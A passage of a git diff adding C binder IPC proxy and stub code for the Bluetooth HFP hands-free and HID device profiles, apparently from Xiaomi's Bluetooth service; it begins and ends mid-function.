binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_disconnect(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_connectAudio(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_AUDIO_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_disconnectAudio(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_AUDIO_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_startVoiceRecognition(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_START_VOICE_RECOGNITION, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_stopVoiceRecognition(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_STOP_VOICE_RECOGNITION, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_dial(BpBtHfpHf* bpBinder, bt_address_t* addr, const char* number) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, number, strlen(number)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_DIAL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_dialMemory(BpBtHfpHf* bpBinder, bt_address_t* addr, uint32_t memory) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, memory); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_DIAL_MEMORY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_redial(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_REDIAL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_acceptCall(BpBtHfpHf* bpBinder, bt_address_t* addr, hfp_call_accept_t flag) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, flag); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_ACCEPT_CALL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_rejectCall(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_REJECT_CALL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_holdCall(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_HOLD_CALL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_terminateCall(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_TERMINATE_CALL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_controlCall(BpBtHfpHf* bpBinder, bt_address_t* addr, hfp_call_control_t chld, uint8_t index) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, chld); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)index); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_CONTROL_CALL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_queryCurrentCalls(BpBtHfpHf* bpBinder, bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_QUERY_CURRENT_CALL, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readCallArray(parcelOut, calls, num, allocator); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpHf_sendAtCmd(BpBtHfpHf* bpBinder, bt_address_t* addr, const char* cmd) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, cmd, strlen(cmd)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_HF_SEND_AT_CMD, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/hfp_hf_stub.c b/service/ipc/binder/src/hfp_hf_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..235044026926441c446d748de26f026b5119f770 --- /dev/null +++ b/service/ipc/binder/src/hfp_hf_stub.c @@ -0,0 +1,403 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "hfp_hf_service.h" +#include "service_manager.h" + +#include "hfp_hf_callbacks_proxy.h" +#include "hfp_hf_callbacks_stub.h" +#include "hfp_hf_proxy.h" +#include "hfp_hf_stub.h" +#include "parcel.h" +#include "utils/log.h" + +#define BT_HFP_HF_DESC "BluetoothHfpHf" + +static void* IBtHfpHf_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtHfpHf_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtHfpHf_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + bt_address_t addr; + uint32_t status; + + hfp_hf_interface_t* profile = (hfp_hf_interface_t*)service_manager_get_profile(PROFILE_HFP_HF); + if (!profile) + return stat; + + switch (code) { + case IHFP_HF_REGISTER_CALLBACK: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtHfpHfCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + void* cookie = profile->register_callbacks(remote, BpBtHfpHfCallbacks_getStatic()); + stat = AParcel_writeUint32(reply, (uint32_t)cookie); + break; + } + case IHFP_HF_UNREGISTER_CALLBACK: { + AIBinder* remote = NULL; + uint32_t cookie; + + stat = AParcel_readUint32(in, &cookie); + if (stat != STATUS_OK) + return stat; + + bool ret = profile->unregister_callbacks((void**)&remote, (void*)cookie); + if (ret && remote) + AIBinder_decStrong(remote); + + stat = AParcel_writeBool(reply, ret); + break; + } + case IHFP_HF_IS_CONNECTED: { + bool ret; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + ret = profile->is_connected(&addr); + stat = AParcel_writeBool(reply, ret); + break; + } + case IHFP_HF_IS_AUDIO_CONNECTED: { + bool ret; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + ret = profile->is_audio_connected(&addr); + stat = AParcel_writeBool(reply, ret); + break; + } + case IHFP_HF_GET_CONNECTION_STATE: { + profile_connection_state_t state; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + state = profile->get_connection_state(&addr); + stat = AParcel_writeUint32(reply, state); + break; + } + case IHFP_HF_CONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->connect(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_DISCONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_AUDIO_CONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->connect_audio(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_AUDIO_DISCONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect_audio(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_START_VOICE_RECOGNITION: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->start_voice_recognition(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_STOP_VOICE_RECOGNITION: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->stop_voice_recognition(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_DIAL: { + char* number = NULL; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &number, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + status = profile->dial(&addr, number); + free(number); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_DIAL_MEMORY: { + uint32_t memory; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &memory); + if (stat != STATUS_OK) + return stat; + + status = profile->dial_memory(&addr, memory); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_REDIAL: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->redial(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_ACCEPT_CALL: { + uint32_t flag; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &flag); + if (stat != STATUS_OK) + return stat; + + status = profile->accept_call(&addr, flag); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_REJECT_CALL: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->reject_call(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_HOLD_CALL: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->hold_call(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_TERMINATE_CALL: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->terminate_call(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_CONTROL_CALL: { + uint32_t chld, index; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &chld); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &index); + if (stat != STATUS_OK) + return stat; + + status = profile->control_call(&addr, chld, (uint8_t)index); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_QUERY_CURRENT_CALL: { + hfp_current_call_t* calls = NULL; + int num = 0; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->query_current_calls(&addr, &calls, &num, AParcelUtils_btCommonAllocator); + stat = AParcel_writeCallArray(reply, calls, num); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_HF_SEND_AT_CMD: { + char* cmd = NULL; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &cmd, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + status = profile->send_at_cmd(&addr, cmd); + stat = AParcel_writeUint32(reply, status); + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtHfpHf_getClass(void) +{ + + AIBinder_Class* clazz = AIBinder_Class_define(BT_HFP_HF_DESC, IBtHfpHf_Class_onCreate, + IBtHfpHf_Class_onDestroy, IBtHfpHf_Class_onTransact); + + return clazz; +} + +static AIBinder* BtHfpHf_getBinder(IBtHfpHf* hfpHf) +{ + AIBinder* binder = NULL; + + if (hfpHf->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(hfpHf->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(hfpHf->clazz, (void*)hfpHf); + if (hfpHf->WeakBinder != NULL) { + AIBinder_Weak_delete(hfpHf->WeakBinder); + } + + hfpHf->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtHfpHf_addService(IBtHfpHf* hfpHf, const char* instance) +{ + hfpHf->clazz = (AIBinder_Class*)BtHfpHf_getClass(); + AIBinder* binder = BtHfpHf_getBinder(hfpHf); + hfpHf->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtHfpHf* BpBtHfpHf_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtHfpHf* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtHfpHf_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtHfpHf_delete(BpBtHfpHf* bpHfpHf) +{ + AIBinder_decStrong(bpHfpHf->binder); + free(bpHfpHf); +} + +AIBinder* BtHfpHf_getService(BpBtHfpHf** bpHfpHf, const char* instance) +{ + BpBtHfpHf* bpBinder = *bpHfpHf; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtHfpHf_new(instance); + if (!bpBinder) + return NULL; + + *bpHfpHf = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/binder/src/hid_device_callbacks_proxy.c b/service/ipc/binder/src/hid_device_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..ea2575b2fce11bacaef7c7a9978e04a506287e4d --- /dev/null +++ b/service/ipc/binder/src/hid_device_callbacks_proxy.c @@ -0,0 +1,218 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "hid_device_callbacks_stub.h" +#include "hid_device_proxy.h" +#include "hid_device_stub.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtHiddCallbacks_appStateCallback(void* cookie, hid_app_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HIDD_APP_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHiddCallbacks_connectionStateCallback(void* cookie, bt_address_t* bdAddr, bool le_hid, + profile_connection_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, bdAddr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeBool(parcelIn, le_hid); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HIDD_CONNECTION_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHiddCallbacks_getReportCallback(void* cookie, bt_address_t* bdAddr, uint8_t rpt_type, + uint8_t rpt_id, uint16_t buffer_size) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, bdAddr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_type); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_id); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)buffer_size); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GET_REPORT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHiddCallbacks_setReportCallback(void* cookie, bt_address_t* bdAddr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, bdAddr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_type); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_size); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)rpt_data, rpt_size); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_SET_REPORT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHiddCallbacks_receiveReportCallback(void* cookie, bt_address_t* bdAddr, uint8_t rpt_type, + uint16_t rpt_size, uint8_t* rpt_data) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, bdAddr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_type); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_size); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)rpt_data, rpt_size); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_RECEIVE_REPORT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHiddCallbacks_virtualUnplugCallback(void* cookie, bt_address_t* bdAddr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = 